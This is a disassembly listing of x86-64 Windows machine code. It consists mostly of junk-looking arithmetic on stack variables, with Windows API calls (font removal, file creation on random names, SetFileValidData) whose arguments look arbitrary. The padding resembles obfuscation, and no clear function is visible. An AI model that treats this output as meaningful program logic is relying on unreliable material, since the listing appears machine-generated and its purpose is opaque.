mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rcx, qword [0x140011010]
mov rax, qword [rsp + 0x88]
sub rax, rcx
mov qword [rsp + 0x210], rax
movsx edx, word [rsp + 0x110]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1e8], ax
movzx eax, byte [rsp + 0x149]
movzx ecx, byte [rsp + 0x284]
and eax, ecx
mov byte [rsp + 0x138], al
movzx edx, word [rsp + 0x150]
movzx eax, word [rsp + 0x4a0]
imul edx, eax
movzx eax, word [rsp + 0x2e8]
movzx ecx, word [rsp + 0x198]
add eax, ecx
cmp edx, eax
jg 0x1400027d1
movsx eax, byte [rsp + 0x28c]
movsx ecx, byte [rsp + 0x19c]
add eax, ecx
mov byte [rsp + 0x220], al
lea r8, [rsp + 0x100]
mov edx, 0xc
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.GDI32.dll_RemoveFontResourceExW]
mov dword [rsp + 0x348], eax
mov ecx, dword [rsp + 0xe0]
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x228]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x78]
movzx ecx, word [rsp + 0x150]
call fcn.140006cc0
movzx r11d, byte [rsp + 0x138]
movzx eax, byte [rsp + 0x149]
movzx ecx, al
mov eax, r11d
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e8]
or eax, ecx
mov word [rsp + 0x3cc], ax
jmp 0x14000280c
movzx edx, word [0x140011008]
movzx eax, word [rsp + 0xa0]
sub edx, eax
movzx eax, word [rsp + 0x150]
movzx ecx, word [rsp + 0x198]
add eax, ecx
cmp edx, eax
jle 0x14000280c
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x438]
xor eax, ecx
mov dword [rsp + 0x2c8], eax
cmp dword [rsp + 0x408], 0x1c2f
jae 0x140002b7c
mov eax, dword [rsp + 0x408]
add eax, 0xa1
mov dword [rsp + 0x408], eax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x210]
and rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x2d8]
add eax, ecx
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x1e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8], rax
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x198]
add eax, ecx
mov word [rsp + 0xa0], ax
movsx edx, byte [0x140011001]
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x284]
sub ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x368]
and eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x2e8]
sub eax, ecx
mov word [rsp + 0x150], ax
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
add rax, qword [rsp + 0x88]
mov qword [rsp + 0x210], rax
mov rcx, qword [rsp + 0xd8]
mov rax, qword [rsp + 0x3b0]
add rax, rcx
mov qword [0x140012068], rax
mov eax, dword [rsp + 0x1cc]
mov ecx, dword [rsp + 0x2c8]
or ecx, eax
mov rax, qword [rsp + 0x3d8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d8]
shl eax, cl
mov dword [rsp + 0xe4], eax
mov rax, qword [rsp + 0x98]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x138]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x284], al
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x2e8]
xor eax, ecx
mov word [rsp + 0x150], ax
movzx edx, byte [section..data]
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x149], al
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [rsp + 0x19c]
add eax, ecx
mov byte [rsp + 0x94], al
movsx ecx, word [rsp + 0x110]
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rsp + 0xe4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140011004], eax
mov eax, dword [rsp + 0x1cc]
mov ecx, dword [rsp + 0x2c8]
sub ecx, eax
mov rax, qword [rsp + 0x3d8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
mov qword [rsp + 0x1e0], rax
movzx eax, word [0x140011008]
movzx ecx, word [rsp + 0xa0]
and eax, ecx
mov word [rsp + 0x2e8], ax
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
add eax, ecx
mov word [rsp + 0x3cc], ax
mov rax, qword [rsp + 0x98]
movzx edx, byte [rax]
movzx eax, byte [section..data]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x220]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
movsx edx, word [rsp + 0x3cc]
mov rax, qword [rsp + 0x158]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x110], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov r11, qword [rsp + 0x1b0]
mov ecx, dword [rsp + 0x154]
mov eax, dword [r11]
or eax, ecx
mov dword [rsp + 0xe4], eax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
add rax, qword [rsp + 0x1b8]
mov qword [0x140011010], rax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rsp + 0x438]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1cc], eax
jmp 0x14000280c
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x19c]
sub edx, eax
mov rax, qword [rsp + 0x3c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x28c]
sub eax, ecx
cmp edx, eax
jg 0x140002d67
movsx ecx, word [rsp + 0x280]
movsx eax, word [rsp + 0x110]
sub ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
lea rax, [rsp + 0x149]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x3d8]
mov eax, dword [rax]
mov dword [rsp + 0x4d8], eax
cmp dword [rsp + 0x4d8], 0x3ad6
je 0x140002c39
jmp 0x140002cf1
mov rax, qword [rsp + 0x468]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [0x140011010]
mov rcx, qword [rsp + 0x1b8]
and rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1cc]
xor eax, ecx
mov dword [0x140012084], eax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1e0]
sar rax, cl
mov qword [rsp + 0x3b0], rax
mov eax, dword [rsp + 0xe0]
movzx ecx, al
mov eax, dword [rsp + 0xe4]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x100]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x1e8], ax
jmp 0x140002d65
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
mov word [rsp + 0x2b0], ax
movsx eax, word [rsp + 0x3cc]
movsx ecx, word [rsp + 0x280]
sub eax, ecx
mov word [rsp + 0x1e8], ax
movsx ecx, byte [rsp + 0x19c]
movsx eax, byte [rsp + 0x220]
sub ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
mov dword [rsp + 0x1ac], 0x7a2e
lea rax, [rsp + 0x138]
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x390], rax
jmp 0x140002d94
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rdx]
add rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
cmp rdx, rax
jne 0x140002d94
call fcn.140006d90
movsx eax, word [rsp + 0x1e8]
movsx ecx, word [rsp + 0x280]
and eax, ecx
mov word [0x140011018], ax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x334]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
imul eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x100]
movzx eax, word [rax]
mov word [rsp + 0xf8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x378], rax
mov dword [rsp + 0x2b4], 0xc637
mov rax, qword [rsp + 0x428]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.6olhlsYj7soTrcPHsHlHij
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3a0], rax
movsx edx, byte [rsp + 0x19c]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x94], al
movzx ecx, word [0x140011008]
movzx eax, word [rsp + 0x2b0]
add ecx, eax
mov rax, qword [rsp + 0x480]
mov word [rax], cx
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x210]
add rax, rcx
mov qword [0x140011010], rax
mov eax, dword [0x140011004]
mov ecx, dword [rsp + 0x334]
add ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x1e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
add ecx, dword [0x140012084]
mov rax, qword [rsp + 0x3d8]
mov dword [rax], ecx
movsx eax, byte [rsp + 0x19c]
movsx ecx, byte [rsp + 0x28c]
add eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x158]
movsx edx, word [rax]
movsx eax, word [0x140011018]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x3cc], ax
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x2b0]
or ecx, eax
mov rax, qword [rsp + 0x480]
mov word [rax], cx
mov rax, qword [rsp + 0x428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
xor eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x480]
movzx edx, word [rax]
movzx eax, word [rsp + 0x2e8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x480]
mov word [rax], cx
mov rax, qword [rsp + 0x390]
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140012060], rax
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rsp + 0x438]
add eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154]
and eax, ecx
mov dword [rsp + 0x328], eax
movzx ecx, byte [rsp + 0x149]
movzx eax, byte [rsp + 0x284]
sub ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x1e8]
sub ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3f8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x150]
add ecx, eax
mov rax, qword [rsp + 0x480]
mov word [rax], cx
mov rax, qword [rsp + 0x100]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3cc], ax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x390]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov eax, dword [rsp + 0x2d8]
movzx ecx, al
mov eax, dword [rsp + 0x154]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0xd8]
or rax, rcx
mov qword [rsp + 0x3b0], rax
mov eax, dword [rsp + 0x1cc]
mov ecx, dword [rsp + 0x78]
xor ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x27c], eax
movzx edx, word [rsp + 0x198]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4a0], ax
movzx eax, byte [rsp + 0x149]
movzx ecx, byte [rsp + 0x284]
add eax, ecx
mov byte [rsp + 0x138], al
mov eax, dword [rsp + 0x2b4]
add eax, 0xba
mov dword [rsp + 0x2b4], eax
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x368]
add eax, ecx
mov byte [rsp + 0x220], al
movzx ecx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198]
sub eax, ecx
mov word [rsp + 0x4a0], ax
mov ecx, dword [rsp + 0x78]
mov eax, dword [0x140012084]
and eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140012060], rax
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1b0]
add ecx, dword [rax]
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1e0]
sub rax, rcx
mov qword [rsp + 0x3b0], rax
movsx ecx, word [rsp + 0x110]
movsx eax, word [rsp + 0x280]
add ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x19c]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
cmp dword [rsp + 0x2b4], 0xfb41
jbe 0x140002e8e
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3cc]
or eax, ecx
mov word [rsp + 0x1e8], ax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x98]
mov al, byte [rax]
mov byte [rsp + 0x4dc], al
cmp byte [rsp + 0x4dc], 0x6e
je 0x140003316
cmp byte [rsp + 0x4dc], 0x9c
je 0x1400033a2
jmp 0x1400033b9
movzx edx, byte [rsp + 0x284]
mov rax, qword [rsp + 0x238]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x138], al
mov rcx, qword [0x140011010]
mov rax, qword [rsp + 0x1b8]
xor rax, rcx
mov qword [rsp + 0x210], rax
mov edx, 0x32
mov rcx, qword [rsp + 0x4b0]
call qword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d8]
and ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, qword [rsp + 0x1e0]
mov qword [rsp + 0xc0], rax
jmp 0x1400033b9
mov rax, qword [rsp + 0x308]
mov ecx, dword [rsp + 0x78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cc], eax
movzx eax, word [rsp + 0x198]
mov word [rsp + 0x39c], ax
movzx ecx, byte [rsp + 0x284]
movzx eax, byte [rsp + 0x138]
add ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov rax, qword [rsp + 0x158]
movzx eax, word [rax]
mov word [rsp + 0x108], ax
movsx edx, byte [rsp + 0x368]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x28c], al
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x4e0], rax
cmp qword [rsp + 0x4e0], 0
je 0x140003436
jmp 0x140003528
mov rax, qword [rsp + 0x3c0]
mov al, byte [rax]
mov byte [rsp + 0x4e8], al
cmp byte [rsp + 0x4e8], 0xda
je 0x140003456
jmp 0x14000350b
movsx edx, byte [rsp + 0x368]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x100]
movzx eax, word [rax]
mov word [rsp + 0x2ec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.c9GNGUtbctWYVbRQ471
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [0x14001101c], ax
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xe0]
add eax, ecx
mov dword [rsp + 0x334], eax
mov dword [rsp + 0xf0], 0xc518
jmp 0x140003523
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
jmp 0x1400035d8
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1b8], rax
mov eax, dword [rsp + 0x1cc]
movzx ecx, al
mov eax, dword [rsp + 0x78]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x368]
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x220], al
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x2e8]
xor eax, ecx
mov word [rsp + 0x39c], ax
movzx edx, byte [rsp + 0x138]
movzx eax, byte [rsp + 0x284]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x149], al
movsx ecx, word [rsp + 0x2ec]
movsx eax, word [rsp + 0xf8]
and ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov eax, dword [rsp + 0x334]
mov dword [0x140012090], eax
movzx eax, word [rsp + 0xa0]
mov word [rsp + 0x48], ax
mov ecx, dword [rsp + 0x334]
mov eax, dword [rsp + 0xe4]
add eax, ecx
mov dword [rsp + 0x154], eax
mov rdx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x3b0], rax
lea rax, [rsp + 0x28c]
mov qword [rsp + 0x418], rax
cmp dword [rsp + 0x1ac], 0x915c
je 0x140003b60
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19c]
add eax, ecx
mov byte [rsp + 0x368], al
movzx edx, word [rsp + 0x198]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x238]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
movsx ecx, word [rsp + 0x2ec]
movsx eax, word [rsp + 0xf8]
and ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x3d8]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x2d8]
mov rax, qword [rsp + 0x338]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x334], eax
mov rax, qword [rsp + 0x210]
movzx ecx, al
mov rax, qword [rsp + 0x1b8]
shr rax, cl
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x150]
xor eax, ecx
mov word [rsp + 0x2b0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x2f8], eax
mov rax, qword [rsp + 0x3f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x368]
add eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
and eax, ecx
mov word [rsp + 0x3cc], ax
movzx ecx, byte [rsp + 0x138]
movzx eax, byte [section..data]
sub ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x149]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov ecx, dword [rsp + 0x2d8]
mov eax, dword [rsp + 0xe4]
add eax, ecx
mov dword [rsp + 0x328], eax
mov ecx, dword [rsp + 0x1cc]
mov eax, dword [0x140012084]
add eax, ecx
mov dword [rsp + 0x2c8], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x390]
mov rax, qword [rax]
add rax, qword [rsp + 0x410]
mov qword [rsp + 0x88], rax
movsx eax, word [rsp + 0x3cc]
movsx ecx, word [rsp + 0x1e8]
sub eax, ecx
mov word [rsp + 0x280], ax
movsx ecx, byte [rsp + 0x220]
mov rax, qword [rsp + 0x3f8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x3c0]
mov byte [rax], cl
movzx edx, word [rsp + 0x2e8]
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x2d0]
mov word [rax], cx
mov rax, qword [rsp + 0x98]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x138]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
movzx ecx, byte [section..data]
mov rax, qword [rsp + 0x238]
movzx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov eax, dword [rsp + 0x1ac]
add eax, 0x8a
mov dword [rsp + 0x1ac], eax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x334]
sub eax, ecx
mov dword [rsp + 0xe0], eax
mov rcx, qword [rsp + 0x390]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1b8]
sub rax, rcx
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x78]
and eax, ecx
mov dword [rsp + 0x438], eax
movzx edx, word [rsp + 0x150]
mov rax, qword [rsp + 0x2d0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x198], ax
mov rax, qword [rsp + 0x3c0]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3c0]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
mov rax, qword [rsp + 0x100]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x14001101c], ax
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198]
add eax, ecx
mov word [rsp + 0x48], ax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x2c8]
add eax, ecx
mov dword [rsp + 0x78], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x278], eax
mov rax, qword [0x140012068]
mov rcx, qword [rsp + 0xd8]
add rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x88]
add rax, rcx
mov qword [rsp + 0x410], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x589b
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27c], eax
lea rdx, [rsp + 0x118]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x35c], eax
mov ecx, dword [rsp + 0x328]
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x284]
xor ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19c]
or eax, ecx
mov byte [rsp + 0x94], al
movsx edx, word [rsp + 0x1e8]
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
mov edx, 0x44cf89
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x2a0], rax
jmp 0x14000365b
movsx eax, byte [rsp + 0x19c]
movsx ecx, byte [rsp + 0x368]
and eax, ecx
mov byte [0x140011002], al
movsx ecx, word [rsp + 0xf8]
movsx eax, word [rsp + 0x110]
sub ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
movzx eax, byte [rsp + 0x149]
mov byte [rsp + 0x64], al
mov ecx, dword [rsp + 0x1cc]
